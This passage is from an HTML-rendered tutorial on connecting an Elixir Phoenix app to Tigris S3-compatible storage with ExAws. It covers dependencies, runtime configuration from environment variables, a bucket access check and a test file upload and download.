&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;# other dependencies&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ex_aws&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;~&gt; 2.0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ex_aws_s3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;~&gt; 2.0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:hackney&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;~&gt; 1.9&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:sweet_xml&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;~&gt; 0.6.6&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;# The official docs list this&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;# but it&amp;#39;s not needed because&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;# we use Jason instead.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;# &amp;lbrace;:poison, &quot;~&gt; 3.0&quot;&amp;rbrace;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;# Might exist already&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;# Phoenix adds it by default&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:jason&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;~&gt; 1.1&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, we add the &lt;code&gt;ex_aws&lt;/code&gt; configuration to our &lt;code&gt;runtime.exs&lt;/code&gt;. This step deviates from the official instructions where you add duplicate settings to &lt;code&gt;dev.exs&lt;/code&gt; and &lt;code&gt;runtime.exs&lt;/code&gt;. This is a simpler setup:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# config/runtime.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;config_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:test&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ex_aws&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Consider setting this to config_env() != :prod&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# if you don&amp;#39;t want to debug your requests in production&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;debug_requests: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;json_codec: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Jason&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;access_key_id:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;/span&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;AWS_ACCESS_KEY_ID&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;||&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;        &lt;span style=&quot;color: #ff7b72;&quot;&gt;raise&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Missing env variable: AWS_ACCESS_KEY_ID&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;secret_access_key:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;/span&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;AWS_SECRET_ACCESS_KEY&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;||&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;        &lt;span style=&quot;color: #ff7b72;&quot;&gt;raise&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Missing env variable: AWS_SECRET_ACCESS_KEY&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ex_aws&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:s3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;scheme: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;https://&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;host: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;fly.storage.tigris.dev&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;region: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;auto&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# This extra config is useful if you only want to work&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# with one bucket in your application. If not, remove it.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;bucket:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;&lt;/span&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;BUCKET_NAME&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;||&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;        &lt;span style=&quot;color: #ff7b72;&quot;&gt;raise&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Missing env variable: BUCKET_NAME&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, restart your terminal and start the development server with &lt;code&gt;iex -S mix phx.server&lt;/code&gt;. Let&apos;s test the bucket connection.&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ExAws.S3&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_buckets&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ExAws&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;request!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;body: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;buckets: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;my-prod-bucket&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;my-dev-bucket&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Surprisingly, we can see both the production and development buckets, although we used the environment variables of the development bucket. This is because we created both buckets with the same Fly account organization. If we had chosen different organizations, we wouldn&apos;t see both. But seeing a bucket doesn&apos;t mean we can access it. Let&apos;s try to list the objects of the production bucket. It won&apos;t work:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ExAws.S3&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_objects&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;my-prod-bucket&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ExAws&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:http_error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;403&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;body: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;some xml&gt;Access Denied.&lt;more xml&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;headers: &lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_headers&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;status_code: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;403&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, the access control works as expected. If we use the environment variables of the dev bucket, we can&apos;t access the prod bucket and vice-versa. All good.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#upload-a-file&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;upload-a-file&quot;&gt;&lt;/a&gt;Upload a File&lt;/h2&gt;
&lt;p&gt;Now that we have a working connection to our S3 bucket managed by Tigris, let&apos;s upload some images for our game.&lt;/p&gt;
&lt;p&gt;To make the file upload and download easier, I wrote a little wrapper around ExAws. You can find it on &lt;a href=&quot;https://github.com/PJUllrich/rec-it/blob/main/lib/recit/storage.ex&quot;&gt;GitHub&lt;/a&gt;. The wrapper exposes simple &lt;code&gt;upload/2&lt;/code&gt; and &lt;code&gt;download/1&lt;/code&gt; functions. Let&apos;s give it a try:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;read!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;./data/valid/air hockey/1.jpg&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;216&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Recit.Storage&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;upload&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;test.jpg&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;status_code: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Recit.Storage&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;download&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;test.jpg&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;body: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;216&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;status_code: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: 